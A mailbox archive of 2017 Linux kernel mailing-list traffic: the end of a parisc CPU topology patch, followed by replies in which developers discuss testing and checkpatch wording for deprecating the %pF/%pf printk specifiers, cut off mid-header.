diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index a778bd3..2deadad 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -184,6 +184,9 @@ static int __init processor_probe(struct parisc_device *dev)
 	p->txn_addr = txn_addr;	/* save CPU IRQ address */
 	p->cpu_num = cpu_info.cpu_num;
 	p->cpu_loc = cpu_info.cpu_loc;
+
+	store_cpu_topology(cpuid);
+
 #ifdef CONFIG_SMP
 	/*
 	** FIXME: review if any other initialization is clobbered
@@ -388,6 +391,14 @@ show_cpuinfo (struct seq_file *m, void *v)
 				 boot_cpu_data.cpu_hz / 1000000,
 				 boot_cpu_data.cpu_hz % 1000000  );
 
+#ifdef CONFIG_PARISC_CPU_TOPOLOGY
+		seq_printf(m, "physical id\t: %d\n",
+				topology_physical_package_id(cpu));
+		seq_printf(m, "siblings\t: %d\n",
+				cpumask_weight(topology_core_cpumask(cpu)));
+		seq_printf(m, "core id\t\t: %d\n", topology_core_id(cpu));
+#endif
+
 		seq_printf(m, "capabilities\t:");
 		if (boot_cpu_data.pdc.capabilities & PDC_MODEL_OS32)
 			seq_puts(m, " os32");
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index dee6f9d..5dec93c 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -408,6 +408,9 @@ void start_parisc(void)
 
 	cpunum = smp_processor_id();
 
+	init_cpu_topology();
+	store_cpu_topology(cpunum);
+
 	set_firmware_width_unlocked();
 
 	ret = pdc_coproc_cfg_unlocked(&coproc_cfg);
diff --git a/arch/parisc/kernel/topology.c b/arch/parisc/kernel/topology.c
index f515938..551b132 100644
--- a/arch/parisc/kernel/topology.c
+++ b/arch/parisc/kernel/topology.c
@@ -1,37 +1,140 @@
 /*
- * arch/parisc/kernel/topology.c - Populate sysfs with topology information
+ * arch/parisc/kernel/topology.c
  *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
+ * Copyright (C) 2017 Helge Deller <deller@gmx.de>
  *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE or
- * NON INFRINGEMENT.  See the GNU General Public License for more
- * details.
+ * based on arch/arm/kernel/topology.c
  *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ * This file is subject to the terms and conditions of the GNU General Public
+ * License.  See the file "COPYING" in the main directory of this archive
+ * for more details.
  */
 
-#include <linux/init.h>
-#include <linux/smp.h>
-#include <linux/cpu.h>
-#include <linux/cache.h>
+#include <linux/percpu.h>
+#include <linux/sched.h>
+#include <linux/sched/topology.h>
 
-static DEFINE_PER_CPU(struct cpu, cpu_devices);
+#include <asm/topology.h>
 
-static int __init topology_init(void)
+ /*
+  * cpu topology table
+  */
+struct cputopo_parisc cpu_topology[NR_CPUS];
+EXPORT_SYMBOL_GPL(cpu_topology);
+
+const struct cpumask *cpu_coregroup_mask(int cpu)
+{
+	return &cpu_topology[cpu].core_sibling;
+}
+
+static void update_siblings_masks(unsigned int cpuid)
 {
-	int num;
+	struct cputopo_parisc *cpu_topo, *cpuid_topo = &cpu_topology[cpuid];
+	int cpu;
+
+	/* update core and thread sibling masks */
+	for_each_possible_cpu(cpu) {
+		cpu_topo = &cpu_topology[cpu];
+
+		if (cpuid_topo->socket_id != cpu_topo->socket_id)
+			continue;
+
+		cpumask_set_cpu(cpuid, &cpu_topo->core_sibling);
+		if (cpu != cpuid)
+			cpumask_set_cpu(cpu, &cpuid_topo->core_sibling);
+
+		if (cpuid_topo->core_id != cpu_topo->core_id)
+			continue;
 
-	for_each_present_cpu(num) {
-		register_cpu(&per_cpu(cpu_devices, num), num);
+		cpumask_set_cpu(cpuid, &cpu_topo->thread_sibling);
+		if (cpu != cpuid)
+			cpumask_set_cpu(cpu, &cpuid_topo->thread_sibling);
 	}
-	return 0;
+	smp_wmb();
 }
 
-subsys_initcall(topology_init);
+/*
+ * store_cpu_topology is called at boot when only one cpu is running
+ * and with the mutex cpu_hotplug.lock locked, when several cpus have booted,
+ * which prevents simultaneous write access to cpu_topology array
+ */
+void store_cpu_topology(unsigned int cpuid)
+{
+	struct cputopo_parisc *cpuid_topo = &cpu_topology[cpuid];
+	struct cpuinfo_parisc *p;
+
+	/* If the cpu topology has been already set, just return */
+	if (cpuid_topo->core_id != -1)
+		return;
+
+	/* create cpu topology mapping */
+	cpuid_topo->thread_id = -1;
+	cpuid_topo->core_id = 0;
+
+	if (cpuid == 0) {
+		cpuid_topo->socket_id = 0; // -1;
+	} else {
+		unsigned long cpu;
+		int max_socket = 0;
+
+		p = &per_cpu(cpu_data, cpuid);
+		for_each_possible_cpu(cpu) {
+			const struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
+
+			if (cpu == cpuid)
+				continue;
+
+			if (cpuinfo->cpu_loc == p->cpu_loc) {
+				cpuid_topo->core_id   = cpu_topology[cpu].core_id + 1;
+				cpuid_topo->socket_id = cpu_topology[cpu].socket_id;
+				continue;
+			}
+
+			if (cpuid_topo->socket_id == -1)
+				max_socket = max(max_socket, cpuid_topo->socket_id);
+		}
+
+		if (cpuid_topo->socket_id == -1)
+			cpuid_topo->socket_id = max_socket + 1;
+	}
+
+	update_siblings_masks(cpuid);
+
+	pr_info("CPU%u: thread %d, cpu %d, socket %d\n",
+		cpuid, cpu_topology[cpuid].thread_id,
+		cpu_topology[cpuid].core_id,
+		cpu_topology[cpuid].socket_id);
+}
+
+static struct sched_domain_topology_level parisc_topology[] = {
+#ifdef CONFIG_SCHED_MC
+	{ cpu_coregroup_mask, cpu_core_flags, SD_INIT_NAME(MC) },
+#endif
+
+	{ cpu_cpu_mask, SD_INIT_NAME(DIE) },
+	{ NULL, },
+};
+
+/*
+ * init_cpu_topology is called at boot when only one cpu is running
+ * which prevent simultaneous write access to cpu_topology array
+ */
+void __init init_cpu_topology(void)
+{
+	unsigned int cpu;
+
+	/* init core mask and capacity */
+	for_each_possible_cpu(cpu) {
+		struct cputopo_parisc *cpu_topo = &(cpu_topology[cpu]);
+
+		cpu_topo->thread_id = -1;
+		cpu_topo->core_id =  -1;
+		cpu_topo->socket_id = -1;
+		cpumask_clear(&cpu_topo->core_sibling);
+		cpumask_clear(&cpu_topo->thread_sibling);
+	}
+	smp_wmb();
+
+	/* Set scheduler topology descriptor */
+	set_sched_topology(parisc_topology);
+}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Wed, 20 Sep 2017 22:14:49 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <b0665fe7-fc57-7795-3cee-f33cd806b850@gmx.de>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1505938521 12389 195.159.176.226 (20 Sep 2017 20:15:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 20:15:21 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.3.0
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Sep 20 22:15:15 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1dulOs-0000lJ-3G
	for glpi-linux-ia64-2@m.gmane.org; Wed, 20 Sep 2017 22:15:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751378AbdITUPV (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 20 Sep 2017 16:15:21 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:53678 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751367AbdITUPU (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Wed, 20 Sep 2017 16:15:20 -0400
Original-Received: from [192.168.20.60] ([91.36.201.242]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MPlY2-1dydH31xsQ-004xSo; Wed, 20
 Sep 2017 22:14:55 +0200
In-Reply-To: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K0:Ko5G5XgxveTzjiQVuvBD1m4lKdO9toEXj13Q7kycfDoX+VcyDTi
 bOUuuPO4YVf8jeef0R/eavsEaPzSPKECX0T4yVxP6VIJ5JebzRfkcAqfDZBXwBfUjbUuapp
 PCimvSSYpqxwnOWiluHsgxuSsoz34TET/SNAMm/FpXL295LdFXEnHYM8tsUF/9HkJfkZrQi
 gKXo2hUf2YDE92TfpXc8g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ouaSA8z1r1w=:UP03OveWsYyqE2q4rTx4YG
 S23yZVOAlHIj99N8CBhXWbMYGDe9AtvJB1apujCctTSQ6gDba/VjCXMkhjdSEiY5RJzda9fhr
 v9xWmqy8Wu4OHqG4SLn9xZIaEAgWGjAiWp8nrpKhpOCXu2pPnJ+6UZV1AwKWHrWn8JF/Nqh2U
 l8ZYC7oWx2MVg5RMdmbeqaOLbTAyNAv7mlQl8SmqdWgfXN3na+NaK5sj7TCi5YRwxlJ51E4Nr
 F2kEy6eAgYOh9t14MU/7Fia/5ZbgZRaeXfyoBXbkNCUJZeU2+qm36dHFsuNS2HacoBNE0l6Ej
 ulVjXUGVCkRNPYeQsL5nGerwZEj6YVx9CzuRMO8ICUVAbFkKzAsPD8EClzGxV13PQbCHK+JmF
 Knnkk8mvmQGopZ1TonBf6eU3hJ2GpSf/KiobcsGmlkklrtREfgUg6c61k1hEQXRkFVQtPf6We
 QDSSip7lldh37J4tLqvAJD52JiSXDdeTpYi2bW2ZJAO089gbnQXVC8epKQIjLiMhRvJh9XKj2
 Kztoqfx0Bho0JeAGut3+wZzQSVfQn8O7Qc8TKM8obhYCttlKCrfsbdWPP6cWfbO0nPd5vuts2
 Q6wa2Qbs2Ks4xMXvD4oxYWHPJ60ntB/vQmRJOgUXW0v8KYXkZcRjNMz5lUZft/7FKzhHGIX5E
 z8Hx6nqg2mEBDurdgRaI1TGywihQAO7vwQjEk7OucDXLaXPavPesvifpTdmVKDAaQ1QS9hfL8
 OKorTI3a+RmTLDPvgi1x290c/5mxmkx3+DfhNnhp1a3jga9kAuMp4hc2u6DFQ3u+ofsY/nCv 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28144 gmane.linux.ports.parisc:27843 gmane.linux.ports.ppc64.devel:148140 gmane.linux.kernel:2574357
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28144>

On 20.09.2017 18:29, Sergey Senozhatsky wrote:
>          This patch set attempts to move ia64/ppc64/parisc64 C function
> pointer ABI details out of printk() to arch code. Function dereference
> code now checks if a pointer belongs to a .opd ELF section and dereferences
> that pointer only if it does. The kernel and modules have their own .opd
> sections that's why I use two different ARCH functions: for kernel and
> for module pointer dereference.
> ...> *** A BIG NOTE ***
>          I don't own ia64/ppc64/parisc64 hardware, so the patches are not
>          tested. Sorry about that!


I just now tested your patch series successfully on parisc64.

You may add to the whole series:
Tested-by: Helge Deller <deller@gmx.de> # parisc64

  
> Another note:
>          I need to check what is BPF symbol lookup and do we need to
>          do any dereference there.

Not relevant for parisc, since we don't support it yet.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH v2 7/7] checkpatch: add pF/pf deprecation warning
Date: Thu, 21 Sep 2017 09:27:17 +0900
Lines: 33
Approved: news@gmane.org
Message-ID: <20170921002717.GA773@jagdpanzerIV.localdomain>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
 <20170920162910.32053-8-sergey.senozhatsky@gmail.com>
 <1505929138.12311.5.camel@perches.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1505953650 10403 195.159.176.226 (21 Sep 2017 00:27:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 21 Sep 2017 00:27:30 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Andy Whitcroft <apw@canonical.com>
To: Joe Perches <joe@perches.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 21 02:27:23 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dupKs-00024c-LU
	for glk-linux-kernel-3@m.gmane.org; Thu, 21 Sep 2017 02:27:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752163AbdIUA11 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 20 Sep 2017 20:27:27 -0400
Original-Received: from mail-pf0-f180.google.com ([209.85.192.180]:43270 "EHLO
        mail-pf0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751762AbdIUA1X (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 20 Sep 2017 20:27:23 -0400
Original-Received: by mail-pf0-f180.google.com with SMTP id y29so2367577pff.0;
        Wed, 20 Sep 2017 17:27:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:content-transfer-encoding:in-reply-to
         :user-agent;
        bh=V/UpFGtjxtx2S0FvU6BzM6RyZYSPp85Ul5vMHnqUJPA=;
        b=ZXiMyjzLmCfa2gmuPcv923E1uTuu23KDbQD+R5JU1LG6/4dcjy9nzUXyd3mJY2QHva
         tv305KtMTF9mxgKl9MTaiK7uDGblQLUb8khHGEW1hUGp2xxZGbgILHQrc6evbd40Zhpe
         DpaZjaTuxQAFBCo9/hYCaBBi7H4+eTqckH6Ilj/NBq18m2QbfbG8NQf9ktg5vkZNPsO/
         2uY/b9n3XIOC9RR1wf2FfaQF6cYwNbMgh+Ye0tTF2IF9ZnfwDU+VX6c322O8Afjxf0bz
         nK1yoVsCnLdPOkS9lNJi9WeW8e9CRB1w6mX0C+nnxiaInSlauQ/upGCMmwm1j+Mkuz+w
         C2lw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:content-transfer-encoding
         :in-reply-to:user-agent;
        bh=V/UpFGtjxtx2S0FvU6BzM6RyZYSPp85Ul5vMHnqUJPA=;
        b=FjZBq8o1qG1prCqLgFep9QBSmCJ7koZCV7/6lB2OOVahHbzNJEYC9tnwXf5GmbZfCl
         nhnDx/QYq27enrh0m31lz6Qnw0oLPQIoXYfGFX28B62cL9RpB0fJeH6+9iRqKJXWAOLg
         bJiwZ/zEKFdk0/ZAS138wg/qbwOBobsK7FcKJbwmmTs2sYdXk0ozli2RXrDX9n6Qj0t1
         tnsrYMuWqTMbVvizaggxW0ZIMSdrXDzzmYBG5aOex8xAplImA3MhfqHc7yNmVi+thSr8
         xPv0xP8i7N1N3AaU7vAF+GNW319+E1Ax86E6JQtsX4KRwTMKNKYPLRbpK25FsZshel7d
         bqhQ==
X-Gm-Message-State: AHPjjUjEs22D95XJXQcYbKc/6OVkurggRRAy3NDlIBmFlqVDrsuZsOKx
        ur3FIxBch/Oj1G0QMowchhg=
X-Google-Smtp-Source: AOwi7QBto8/byEz/M7tjo2fzX9WpknHsxoknmf5cbxDRfqHLccd2sCIeVD3c983T6Yo98a8MmkclTg==
X-Received: by 10.84.160.6 with SMTP id n6mr3763869pla.393.1505953642593;
        Wed, 20 Sep 2017 17:27:22 -0700 (PDT)
Original-Received: from localhost ([175.223.27.85])
        by smtp.gmail.com with ESMTPSA id m190sm167532pga.2.2017.09.20.17.27.20
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 20 Sep 2017 17:27:21 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1505929138.12311.5.camel@perches.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2574570 gmane.linux.ports.ia64:28145 gmane.linux.ports.parisc:27844 gmane.linux.ports.ppc64.devel:148159
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2574570>

On (09/20/17 10:38), Joe Perches wrote:
> On Thu, 2017-09-21 at 01:29 +0900, Sergey Senozhatsky wrote:
> > We deprecated '%pF/%pf' printk specifiers, since '%pS/%ps' is now smart
> > enough to handle function pointer dereference on platforms where such
> > dereference is required.
> > 
> > checkpatch warning example:
> > 
> > WARNING: Use '%pS/%ps' instead. This pointer extension was deprecated: '%pF'
> 
> If this series is accepted,  I think this message
> is unclear and would prefer something like:

sure, can tweak the patch.

[..]
> 			if ($bad_extension ne "") {
> 				my $stat_real = raw_line($linenr, 0);
> +				my $ext_type = "Invalid";
> +				my $use = "";
> 				for (my $count = $linenr + 1; $count <= $lc; $count++) {
> 					$stat_real = $stat_real . "\n" . raw_line($count, 0);
> 				}
> +				if ($bad_extension =~ /p[Ff]/i) {
						I think /i is not necessary here

> +					$ext_type = "Deprecated";
> +					$use = " - use %pS instead";
> +					$use =~ s/pS/ps/ if ($bad_extension =~ /pf/);
							ok, handy :)

	-ss


From - Thu Nov 08 21:40:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Thu, 21 Sep 2017 09:30:34 +0900
Lines: 36
Approved: news@gmane.org
Message-ID: <20170921003034.GB773@jagdpanzerIV.localdomain>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
 <b0665fe7-fc57-7795-3cee-f33cd806b850@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505953841 15956 195.159.176.226 (21 Sep 2017 00:30:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 21 Sep 2017 00:30:41 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-ia64-owner@vger.kernel.org Thu Sep 21 02:30:34 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1dupNx-0004aP-Ob
	for glpi-linux-ia64-2@m.gmane.org; Thu, 21 Sep 2017 02:30:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751858AbdIUAal (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 20 Sep 2017 20:30:41 -0400
Original-Received: from mail-pg0-f66.google.com ([74.125.83.66]:35202 "EHLO
        mail-pg0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751762AbdIUAak (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Wed, 20 Sep 2017 20:30:40 -0400
Original-Received: by mail-pg0-f66.google.com with SMTP id j16so2496576pga.2;
        Wed, 20 Sep 2017 17:30:39 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=kwsYAXJljuMgYfxnMUEwMxF/+0pHdSpJogCtkZi8IZQ=;
        b=hfa2NGPknqKc+h7yvBTYAcoDOGN+sqqK9qb6aNOjw+D4zIS2mZjfwR+bdjQxSfd9Dp
         kaumSJiUNjOnivwifI+gyCjKKQhma56KCytzIu7XRofVUPHRVIytGn5Qt7Xy6T1aQj4t
         DnBOcjDGB/+XhDNtTsfNGUIKgODHIbR8kYUbhySUACDnYA8VBmb53Eh/2EHnrsC5H1lQ
         h05/rP5CRxYQqtxCpjnhcX0dCmtzWZJ+D2LDBQllObhz22pxshJc1hSTEy7pqXb1mX8M
         4SzqYh+AIe5Hi7aXVn1QExyPdOsi9GJhl0rzBGz+Ur22KrbeOckoADpT9jwf89Vu7uGn
         oFOA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=kwsYAXJljuMgYfxnMUEwMxF/+0pHdSpJogCtkZi8IZQ=;
        b=jYn0y9scoW9evXngQhXX+Mm5T2/u+P79UFVozKItW+PQ03nUZa/God5gB0rfCn0BeD
         HWPJwZNFUtyQZuU1IGfTHYMN7nbGDK/ZraIOCNROK/nm8IZ2s+lwqkk3KKJJn0tD9JOt
         9P+sBzYYl7sQ9DKOLwkKbgPexF+X0xpInHkrQAC9ykTgpUWAOweHW34+Tu6MrUM6ieWf
         hMk/GLBV8Ab8Ndhi3bNL+cMaBwpdIutpY77nrBDdlXOrGVok+l/+ar3YqWgSp+aQYfuM
         9woeHzHXFa0fecRA4R4G4Kg25x4gKEpMmJochxuXZAXvccmvMLsIF01TDCzINa45RUEs
         km0A==
X-Gm-Message-State: AHPjjUi+ky/W6SiLfCJwh1matF+ULFpVpkEKicQPgQeopb/rNL793HVO
        EsC0+X78ZMYwLsLvq+qEg3c=
X-Google-Smtp-Source: AOwi7QAI5OV41QZGaRxuKrtYNM8bXTjf4fWfbqqxvX7UDDcx/PXyn9l4k01SPZQCkBvmP14XqCrEXg==
X-Received: by 10.101.68.65 with SMTP id e1mr3986840pgq.134.1505953839612;
        Wed, 20 Sep 2017 17:30:39 -0700 (PDT)
Original-Received: from localhost ([175.223.27.85])
        by smtp.gmail.com with ESMTPSA id e87sm155989pfl.46.2017.09.20.17.30.37
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 20 Sep 2017 17:30:38 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <b0665fe7-fc57-7795-3cee-f33cd806b850@gmx.de>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28146 gmane.linux.ports.parisc:27845 gmane.linux.ports.ppc64.devel:148160 gmane.linux.kernel:2574572
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28146>

On (09/20/17 22:14), Helge Deller wrote:
> On 20.09.2017 18:29, Sergey Senozhatsky wrote:
> >          This patch set attempts to move ia64/ppc64/parisc64 C function
> > pointer ABI details out of printk() to arch code. Function dereference
> > code now checks if a pointer belongs to a .opd ELF section and dereferences
> > that pointer only if it does. The kernel and modules have their own .opd
> > sections that's why I use two different ARCH functions: for kernel and
> > for module pointer dereference.
> > ...> *** A BIG NOTE ***
> >          I don't own ia64/ppc64/parisc64 hardware, so the patches are not
> >          tested. Sorry about that!
> 
> 
> I just now tested your patch series successfully on parisc64.
> 
> You may add to the whole series:
> Tested-by: Helge Deller <deller@gmx.de> # parisc64

thanks, Helge!

> > Another note:
> >          I need to check what is BPF symbol lookup and do we need to
> >          do any dereference there.
> 
> Not relevant for parisc, since we don't support it yet.

so that was my suspicion as well. at glance it didn't look like
bpf symbol resolution would work on platforms that do description
dereference.

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [RFC][PATCH v2 7/7] checkpatch: add pF/pf deprecation warning
Date: Wed, 20 Sep 2017 19:28:33 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <1505960913.12311.18.camel@perches.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
         <20170920162910.32053-8-sergey.senozhatsky@gmail.com>
         <1505929138.12311.5.camel@perches.com>
         <20170921002717.GA773@jagdpanzerIV.localdomain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1505960919 19578 195.159.176.226 (21 Sep 2017 02:28:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 21 Sep 2017 02:28:39 +0000 (UTC)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
